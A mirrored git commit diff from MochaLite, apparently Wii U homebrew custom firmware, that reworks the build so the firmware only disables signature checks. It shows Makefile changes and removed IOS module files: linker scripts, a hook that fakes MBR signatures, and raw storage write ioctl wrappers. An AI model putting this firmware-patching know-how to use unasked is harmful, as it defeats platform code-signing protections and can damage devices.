mirror of
https://github.com/wiiu-env/MochaLite.git
synced 2024-11-01 02:25:10 +01:00
Simplify mocha do only disable sigchecks, add wupserver, sd overall patches and a improved .rpx redirection.
This commit is contained in:
parent
aaae73531d
commit
5b57caecee
2
.gitignore
vendored
2
.gitignore
vendored
@ -1,4 +1,5 @@
|
|||||||
/*.elf
|
/*.elf
|
||||||
|
/*.cbp
|
||||||
/build
|
/build
|
||||||
/ios_bsp/build
|
/ios_bsp/build
|
||||||
/ios_bsp/ios_bsp.bin.h
|
/ios_bsp/ios_bsp.bin.h
|
||||||
@ -30,3 +31,4 @@
|
|||||||
/ios_acp/ios_acp.bin.h
|
/ios_acp/ios_acp.bin.h
|
||||||
/ios_acp/*.elf
|
/ios_acp/*.elf
|
||||||
/ios_acp/ios_acp_syms.h
|
/ios_acp/ios_acp_syms.h
|
||||||
|
*.rpx
|
||||||
|
37
Makefile
37
Makefile
@ -10,10 +10,10 @@ ifeq ($(strip $(DEVKITPRO)),)
|
|||||||
$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=<path to>devkitPRO")
|
$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=<path to>devkitPRO")
|
||||||
endif
|
endif
|
||||||
export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)
|
export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)
|
||||||
export LIBOGC_INC := $(DEVKITPRO)/libogc/include
|
|
||||||
export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii
|
|
||||||
export PORTLIBS := $(DEVKITPRO)/portlibs/ppc
|
export PORTLIBS := $(DEVKITPRO)/portlibs/ppc
|
||||||
|
|
||||||
|
GCC_VER := $(shell $(DEVKITPPC)/bin/powerpc-eabi-gcc -dumpversion)
|
||||||
|
|
||||||
PREFIX := powerpc-eabi-
|
PREFIX := powerpc-eabi-
|
||||||
|
|
||||||
export AS := $(PREFIX)as
|
export AS := $(PREFIX)as
|
||||||
@ -28,14 +28,11 @@ export OBJCOPY := $(PREFIX)objcopy
|
|||||||
# SOURCES is a list of directories containing source code
|
# SOURCES is a list of directories containing source code
|
||||||
# INCLUDES is a list of directories containing extra header files
|
# INCLUDES is a list of directories containing extra header files
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
TARGET := mocha
|
TARGET := payload
|
||||||
BUILD := build
|
BUILD := build
|
||||||
BUILD_DBG := $(TARGET)_dbg
|
BUILD_DBG := $(TARGET)_dbg
|
||||||
SOURCES := src \
|
SOURCES := src
|
||||||
src/dynamic_libs \
|
|
||||||
src/fs \
|
|
||||||
src/system \
|
|
||||||
src/utils
|
|
||||||
DATA := data
|
DATA := data
|
||||||
|
|
||||||
INCLUDES := src
|
INCLUDES := src
|
||||||
@ -43,12 +40,12 @@ INCLUDES := src
|
|||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
# options for code generation
|
# options for code generation
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
CFLAGS := -std=gnu11 -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||||
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||||
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
CXXFLAGS := -std=gnu++11 -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||||
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||||
ASFLAGS := -mregnames
|
ASFLAGS := -mregnames
|
||||||
LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections
|
LDFLAGS := -nostartfiles -Wl,--gc-sections
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
Q := @
|
Q := @
|
||||||
@ -56,7 +53,7 @@ MAKEFLAGS += --no-print-directory
|
|||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
# any extra libraries we wish to link with the project
|
# any extra libraries we wish to link with the project
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
LIBS := -ldynamiclibs
|
LIBS :=
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
# list of directories containing libraries, this must be the top level containing
|
# list of directories containing libraries, this must be the top level containing
|
||||||
@ -64,7 +61,7 @@ LIBS := -ldynamiclibs
|
|||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
LIBDIRS := $(CURDIR) \
|
LIBDIRS := $(CURDIR) \
|
||||||
$(DEVKITPPC)/lib \
|
$(DEVKITPPC)/lib \
|
||||||
$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2
|
$(DEVKITPPC)/lib/gcc/powerpc-eabi/$(GCC_VER)
|
||||||
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
@ -123,34 +120,22 @@ $(BUILD): $(CURDIR)/ios_kernel/ios_kernel.bin.h
|
|||||||
@[ -d $@ ] || mkdir -p $@
|
@[ -d $@ ] || mkdir -p $@
|
||||||
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||||
|
|
||||||
$(CURDIR)/ios_kernel/ios_kernel.bin.h: $(CURDIR)/ios_usb/ios_usb.bin.h $(CURDIR)/ios_mcp/ios_mcp.bin.h $(CURDIR)/ios_fs/ios_fs.bin.h $(CURDIR)/ios_bsp/ios_bsp.bin.h $(CURDIR)/ios_acp/ios_acp.bin.h
|
$(CURDIR)/ios_kernel/ios_kernel.bin.h: $(CURDIR)/ios_usb/ios_usb.bin.h $(CURDIR)/ios_mcp/ios_mcp.bin.h
|
||||||
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_kernel -f $(CURDIR)/ios_kernel/Makefile
|
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_kernel -f $(CURDIR)/ios_kernel/Makefile
|
||||||
|
|
||||||
$(CURDIR)/ios_usb/ios_usb.bin.h:
|
$(CURDIR)/ios_usb/ios_usb.bin.h:
|
||||||
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_usb -f $(CURDIR)/ios_usb/Makefile
|
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_usb -f $(CURDIR)/ios_usb/Makefile
|
||||||
|
|
||||||
$(CURDIR)/ios_fs/ios_fs.bin.h:
|
|
||||||
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_fs -f $(CURDIR)/ios_fs/Makefile
|
|
||||||
|
|
||||||
$(CURDIR)/ios_bsp/ios_bsp.bin.h:
|
|
||||||
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_bsp -f $(CURDIR)/ios_bsp/Makefile
|
|
||||||
|
|
||||||
$(CURDIR)/ios_mcp/ios_mcp.bin.h:
|
$(CURDIR)/ios_mcp/ios_mcp.bin.h:
|
||||||
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_mcp -f $(CURDIR)/ios_mcp/Makefile
|
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_mcp -f $(CURDIR)/ios_mcp/Makefile
|
||||||
|
|
||||||
$(CURDIR)/ios_acp/ios_acp.bin.h:
|
|
||||||
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_acp -f $(CURDIR)/ios_acp/Makefile
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
clean:
|
clean:
|
||||||
@echo clean ...
|
@echo clean ...
|
||||||
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf
|
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf
|
||||||
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_kernel -f $(CURDIR)/ios_kernel/Makefile clean
|
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_kernel -f $(CURDIR)/ios_kernel/Makefile clean
|
||||||
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_usb -f $(CURDIR)/ios_usb/Makefile clean
|
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_usb -f $(CURDIR)/ios_usb/Makefile clean
|
||||||
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_fs -f $(CURDIR)/ios_fs/Makefile clean
|
|
||||||
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_bsp -f $(CURDIR)/ios_bsp/Makefile clean
|
|
||||||
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_mcp -f $(CURDIR)/ios_mcp/Makefile clean
|
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_mcp -f $(CURDIR)/ios_mcp/Makefile clean
|
||||||
@$(MAKE) --no-print-directory -C $(CURDIR)/ios_acp -f $(CURDIR)/ios_acp/Makefile clean
|
|
||||||
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
|
@ -1,40 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#ifndef _CONFIG_TYPES_H_
|
|
||||||
#define _CONFIG_TYPES_H_
|
|
||||||
|
|
||||||
typedef struct
|
|
||||||
{
|
|
||||||
int viewMode;
|
|
||||||
int directLaunch;
|
|
||||||
int launchImage;
|
|
||||||
int noIosReload;
|
|
||||||
int launchSysMenu;
|
|
||||||
int redNAND;
|
|
||||||
int seeprom_red;
|
|
||||||
int otp_red;
|
|
||||||
int syshaxXml;
|
|
||||||
} cfw_config_t;
|
|
||||||
|
|
||||||
#endif
|
|
Binary file not shown.
Before Width: | Height: | Size: 1.3 MiB |
@ -1,80 +0,0 @@
|
|||||||
ifeq ($(strip $(DEVKITARM)),)
|
|
||||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
|
||||||
endif
|
|
||||||
|
|
||||||
ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
|
|
||||||
export PATH:=$(DEVKITARM)/bin:$(PATH)
|
|
||||||
endif
|
|
||||||
|
|
||||||
CC = arm-none-eabi-gcc
|
|
||||||
LINK = arm-none-eabi-gcc
|
|
||||||
AS = arm-none-eabi-as
|
|
||||||
OBJCOPY = arm-none-eabi-objcopy
|
|
||||||
OBJDUMP = arm-none-eabi-objdump
|
|
||||||
CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os
|
|
||||||
LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld
|
|
||||||
LIBDIRS += -L$(CURDIR)/../libs
|
|
||||||
LIBS += -lgcc
|
|
||||||
|
|
||||||
CFILES = $(wildcard source/*.c)
|
|
||||||
BINFILES = $(wildcard data/*.bin)
|
|
||||||
OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
|
|
||||||
OFILES += $(CFILES:source/%.c=build/%.o)
|
|
||||||
DFILES = $(CFILES:source/%.c=build/%.d)
|
|
||||||
SFILES = $(wildcard source/*.s)
|
|
||||||
OFILES += $(SFILES:source/%.s=build/%.o)
|
|
||||||
PROJECTNAME = ${shell basename "$(CURDIR)"}
|
|
||||||
CWD = "$(CURDIR)""
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# canned command sequence for binary data, taken from devkitARM
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
define bin2o
|
|
||||||
bin2s $< | $(AS) -EB -o $(@)
|
|
||||||
endef
|
|
||||||
|
|
||||||
.PHONY:=all dirs
|
|
||||||
|
|
||||||
all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h
|
|
||||||
|
|
||||||
dirs:
|
|
||||||
@mkdir -p build
|
|
||||||
|
|
||||||
$(PROJECTNAME).elf: $(OFILES)
|
|
||||||
@echo "LD $@"
|
|
||||||
@$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) $(LIBDIRS) $(LIBS)
|
|
||||||
|
|
||||||
$(PROJECTNAME).bin: $(PROJECTNAME).elf
|
|
||||||
@echo "OBJCOPY $@\n"
|
|
||||||
@$(OBJCOPY) -j .text -j .rodata -j .data -O binary $(PROJECTNAME).elf $@
|
|
||||||
|
|
||||||
$(PROJECTNAME).bin.h: $(PROJECTNAME).bin
|
|
||||||
@xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@
|
|
||||||
|
|
||||||
$(PROJECTNAME)_syms.h:
|
|
||||||
@echo "#ifndef $(PROJECTNAME)_SYMS_H" > $@
|
|
||||||
@echo "#define $(PROJECTNAME)_SYMS_H" >> $@
|
|
||||||
@$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep 'g F .text' | grep -v '.hidden' | awk '{print "#define " $$6 " 0x" $$1}' >> $@
|
|
||||||
@$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep -e 'g .text' -e '_bss_' -e "_seeprom_buffer_start" | awk '{print "#define " $$5 " 0x" $$1}' >> $@
|
|
||||||
@echo "#endif" >> $@
|
|
||||||
|
|
||||||
clean:
|
|
||||||
@rm -f build/*.o build/*.d
|
|
||||||
@rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h
|
|
||||||
@echo "all cleaned up !"
|
|
||||||
|
|
||||||
-include $(DFILES)
|
|
||||||
|
|
||||||
build/%.o: source/%.c
|
|
||||||
@echo "CC $(notdir $<)"
|
|
||||||
@$(CC) $(CFLAGS) -c $< -o $@
|
|
||||||
@$(CC) -MM $< > build/$*.d
|
|
||||||
|
|
||||||
build/%.o: source/%.s
|
|
||||||
@echo "CC $(notdir $<)"
|
|
||||||
@$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@
|
|
||||||
@$(CC) -MM $< > build/$*.d
|
|
||||||
|
|
||||||
build/%.bin.o: data/%.bin
|
|
||||||
@echo "BIN $(notdir $<)"
|
|
||||||
@$(bin2o)
|
|
@ -1,23 +0,0 @@
|
|||||||
OUTPUT_ARCH(arm)
|
|
||||||
|
|
||||||
SECTIONS
|
|
||||||
{
|
|
||||||
.text 0xE00DB660 : {
|
|
||||||
_text_start = .;
|
|
||||||
*(.text*);
|
|
||||||
*(.rodata*);
|
|
||||||
}
|
|
||||||
_text_end = .;
|
|
||||||
|
|
||||||
.bss 0xE0261F10 : {
|
|
||||||
_bss_start = .;
|
|
||||||
*(.bss*);
|
|
||||||
*(.data*);
|
|
||||||
}
|
|
||||||
_bss_end = .;
|
|
||||||
|
|
||||||
/DISCARD/ : {
|
|
||||||
*(*);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
@ -1,7 +0,0 @@
|
|||||||
#ifndef _IMPORTS_H_
|
|
||||||
#define _IMPORTS_H_
|
|
||||||
|
|
||||||
#define ACP_SYSLOG_OUTPUT ((void (*)(const char *format, ...))0xE00C4D54)
|
|
||||||
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,41 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#include "types.h"
|
|
||||||
|
|
||||||
int ACP_FSARawRead_hook(int fd, void* data, u64 offset, u32 cnt, u32 blocksize, int device_handle)
|
|
||||||
{
|
|
||||||
int (*ACP_FSARawRead)(int fd, void* data, u64 offset, u32 cnt, u32 blocksize, int device_handle) = (void*)0xE00BAF74;
|
|
||||||
|
|
||||||
int res = ACP_FSARawRead(fd, data, offset, cnt, blocksize, device_handle);
|
|
||||||
|
|
||||||
//! the PPC side has a way to check for a PC or WFS formatted drive by checking the MBR signature
|
|
||||||
//! it's the only place where this is used so we can just fake it with wrong values.
|
|
||||||
u8 *buf = (u8*)data;
|
|
||||||
if((offset == 0) && (buf[510] == 0x55) && (buf[511] == 0xAA))
|
|
||||||
{
|
|
||||||
buf[510] = 0xB3;
|
|
||||||
buf[511] = 0xDE;
|
|
||||||
}
|
|
||||||
return res;
|
|
||||||
}
|
|
@ -1,29 +0,0 @@
|
|||||||
#ifndef TYPES_H
|
|
||||||
#define TYPES_H
|
|
||||||
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <stdbool.h>
|
|
||||||
|
|
||||||
#define U64_MAX UINT64_MAX
|
|
||||||
|
|
||||||
typedef uint8_t u8;
|
|
||||||
typedef uint16_t u16;
|
|
||||||
typedef uint32_t u32;
|
|
||||||
typedef uint64_t u64;
|
|
||||||
|
|
||||||
typedef int8_t s8;
|
|
||||||
typedef int16_t s16;
|
|
||||||
typedef int32_t s32;
|
|
||||||
typedef int64_t s64;
|
|
||||||
|
|
||||||
typedef volatile u8 vu8;
|
|
||||||
typedef volatile u16 vu16;
|
|
||||||
typedef volatile u32 vu32;
|
|
||||||
typedef volatile u64 vu64;
|
|
||||||
|
|
||||||
typedef volatile s8 vs8;
|
|
||||||
typedef volatile s16 vs16;
|
|
||||||
typedef volatile s32 vs32;
|
|
||||||
typedef volatile s64 vs64;
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,80 +0,0 @@
|
|||||||
ifeq ($(strip $(DEVKITARM)),)
|
|
||||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
|
||||||
endif
|
|
||||||
|
|
||||||
ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
|
|
||||||
export PATH:=$(DEVKITARM)/bin:$(PATH)
|
|
||||||
endif
|
|
||||||
|
|
||||||
CC = arm-none-eabi-gcc
|
|
||||||
LINK = arm-none-eabi-gcc
|
|
||||||
AS = arm-none-eabi-as
|
|
||||||
OBJCOPY = arm-none-eabi-objcopy
|
|
||||||
OBJDUMP = arm-none-eabi-objdump
|
|
||||||
CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os
|
|
||||||
LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld
|
|
||||||
LIBDIRS += -L$(CURDIR)/../libs
|
|
||||||
LIBS += -lgcc
|
|
||||||
|
|
||||||
CFILES = $(wildcard source/*.c)
|
|
||||||
BINFILES = $(wildcard data/*.bin)
|
|
||||||
OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
|
|
||||||
OFILES += $(CFILES:source/%.c=build/%.o)
|
|
||||||
DFILES = $(CFILES:source/%.c=build/%.d)
|
|
||||||
SFILES = $(wildcard source/*.s)
|
|
||||||
OFILES += $(SFILES:source/%.s=build/%.o)
|
|
||||||
PROJECTNAME = ${shell basename "$(CURDIR)"}
|
|
||||||
CWD = "$(CURDIR)""
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# canned command sequence for binary data, taken from devkitARM
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
define bin2o
|
|
||||||
bin2s $< | $(AS) -EB -o $(@)
|
|
||||||
endef
|
|
||||||
|
|
||||||
.PHONY:=all dirs
|
|
||||||
|
|
||||||
all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h
|
|
||||||
|
|
||||||
dirs:
|
|
||||||
@mkdir -p build
|
|
||||||
|
|
||||||
$(PROJECTNAME).elf: $(OFILES)
|
|
||||||
@echo "LD $@"
|
|
||||||
@$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) $(LIBDIRS) $(LIBS)
|
|
||||||
|
|
||||||
$(PROJECTNAME).bin: $(PROJECTNAME).elf
|
|
||||||
@echo "OBJCOPY $@\n"
|
|
||||||
@$(OBJCOPY) -j .text -j .rodata -j .data -O binary $(PROJECTNAME).elf $@
|
|
||||||
|
|
||||||
$(PROJECTNAME).bin.h: $(PROJECTNAME).bin
|
|
||||||
@xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@
|
|
||||||
|
|
||||||
$(PROJECTNAME)_syms.h:
|
|
||||||
@echo "#ifndef $(PROJECTNAME)_SYMS_H" > $@
|
|
||||||
@echo "#define $(PROJECTNAME)_SYMS_H" >> $@
|
|
||||||
@$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep 'g F .text' | grep -v '.hidden' | awk '{print "#define " $$6 " 0x" $$1}' >> $@
|
|
||||||
@$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep -e 'g .text' -e '_bss_' -e "_seeprom_buffer_start" | awk '{print "#define " $$5 " 0x" $$1}' >> $@
|
|
||||||
@echo "#endif" >> $@
|
|
||||||
|
|
||||||
clean:
|
|
||||||
@rm -f build/*.o build/*.d
|
|
||||||
@rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h
|
|
||||||
@echo "all cleaned up !"
|
|
||||||
|
|
||||||
-include $(DFILES)
|
|
||||||
|
|
||||||
build/%.o: source/%.c
|
|
||||||
@echo "CC $(notdir $<)"
|
|
||||||
@$(CC) $(CFLAGS) -c $< -o $@
|
|
||||||
@$(CC) -MM $< > build/$*.d
|
|
||||||
|
|
||||||
build/%.o: source/%.s
|
|
||||||
@echo "CC $(notdir $<)"
|
|
||||||
@$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@
|
|
||||||
@$(CC) -MM $< > build/$*.d
|
|
||||||
|
|
||||||
build/%.bin.o: data/%.bin
|
|
||||||
@echo "BIN $(notdir $<)"
|
|
||||||
@$(bin2o)
|
|
@ -1,27 +0,0 @@
|
|||||||
OUTPUT_ARCH(arm)
|
|
||||||
|
|
||||||
SECTIONS
|
|
||||||
{
|
|
||||||
.text 0xE6010A80 : {
|
|
||||||
_text_start = .;
|
|
||||||
*(.text*);
|
|
||||||
*(.rodata*);
|
|
||||||
}
|
|
||||||
_text_end = .;
|
|
||||||
|
|
||||||
.bss 0xE60481F0 : {
|
|
||||||
_bss_start = .;
|
|
||||||
*(.bss*);
|
|
||||||
*(COMMON);
|
|
||||||
}
|
|
||||||
.seeprom_buffer : {
|
|
||||||
_seeprom_buffer_start = .;
|
|
||||||
*(.seeprom_buffer*);
|
|
||||||
}
|
|
||||||
_bss_end = .;
|
|
||||||
|
|
||||||
/DISCARD/ : {
|
|
||||||
*(*);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
@ -1,81 +0,0 @@
|
|||||||
#include <stdlib.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include "svc.h"
|
|
||||||
#include "fsa.h"
|
|
||||||
|
|
||||||
#define BSP_memcpy ((void *(*)(void*, void*, unsigned int))0xE600EA18)
|
|
||||||
#define BSP_memset ((void *(*)(void*, int, unsigned int))0xE600EAB4)
|
|
||||||
#define BSP_strncpy ((char *(*)(char*, const char*, unsigned int))0xE600F4AC)
|
|
||||||
|
|
||||||
static void* allocIobuf()
|
|
||||||
{
|
|
||||||
void* ptr = svcAlloc(0xCAFF, 0x828);
|
|
||||||
BSP_memset(ptr, 0x00, 0x828);
|
|
||||||
|
|
||||||
return ptr;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void freeIobuf(void* ptr)
|
|
||||||
{
|
|
||||||
svcFree(0xCAFF, ptr);
|
|
||||||
}
|
|
||||||
|
|
||||||
int FSA_RawOpen(int fd, const char* device_path, int* outHandle)
|
|
||||||
{
|
|
||||||
u8* iobuf = allocIobuf();
|
|
||||||
u32* inbuf = (u32*)iobuf;
|
|
||||||
u32* outbuf = (u32*)&iobuf[0x520];
|
|
||||||
|
|
||||||
BSP_strncpy((char*)&inbuf[0x01], device_path, 0x27F);
|
|
||||||
|
|
||||||
int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293);
|
|
||||||
|
|
||||||
if(outHandle) *outHandle = outbuf[1];
|
|
||||||
|
|
||||||
freeIobuf(iobuf);
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
int FSA_RawClose(int fd, int device_handle)
|
|
||||||
{
|
|
||||||
u8* iobuf = allocIobuf();
|
|
||||||
u32* inbuf = (u32*)iobuf;
|
|
||||||
u32* outbuf = (u32*)&iobuf[0x520];
|
|
||||||
|
|
||||||
inbuf[1] = device_handle;
|
|
||||||
|
|
||||||
int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293);
|
|
||||||
|
|
||||||
freeIobuf(iobuf);
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle)
|
|
||||||
{
|
|
||||||
u8* iobuf = allocIobuf();
|
|
||||||
u8* inbuf8 = iobuf;
|
|
||||||
u8* outbuf8 = &iobuf[0x520];
|
|
||||||
iovec_s* iovec = (iovec_s*)&iobuf[0x7C0];
|
|
||||||
u32* inbuf = (u32*)inbuf8;
|
|
||||||
u32* outbuf = (u32*)outbuf8;
|
|
||||||
|
|
||||||
inbuf[0x08 / 4] = (blocks_offset >> 32);
|
|
||||||
inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF);
|
|
||||||
inbuf[0x10 / 4] = cnt;
|
|
||||||
inbuf[0x14 / 4] = size_bytes;
|
|
||||||
inbuf[0x18 / 4] = device_handle;
|
|
||||||
|
|
||||||
iovec[0].ptr = inbuf;
|
|
||||||
iovec[0].len = 0x520;
|
|
||||||
|
|
||||||
iovec[1].ptr = data;
|
|
||||||
iovec[1].len = size_bytes * cnt;
|
|
||||||
|
|
||||||
iovec[2].ptr = outbuf;
|
|
||||||
iovec[2].len = 0x293;
|
|
||||||
|
|
||||||
int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec);
|
|
||||||
|
|
||||||
freeIobuf(iobuf);
|
|
||||||
return ret;
|
|
||||||
}
|
|
@ -1,10 +0,0 @@
|
|||||||
#ifndef FSA_H
|
|
||||||
#define FSA_H
|
|
||||||
|
|
||||||
#include "types.h"
|
|
||||||
|
|
||||||
int FSA_RawOpen(int fd, const char* device_path, int* outHandle);
|
|
||||||
int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle);
|
|
||||||
int FSA_RawClose(int fd, int device_handle);
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,156 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
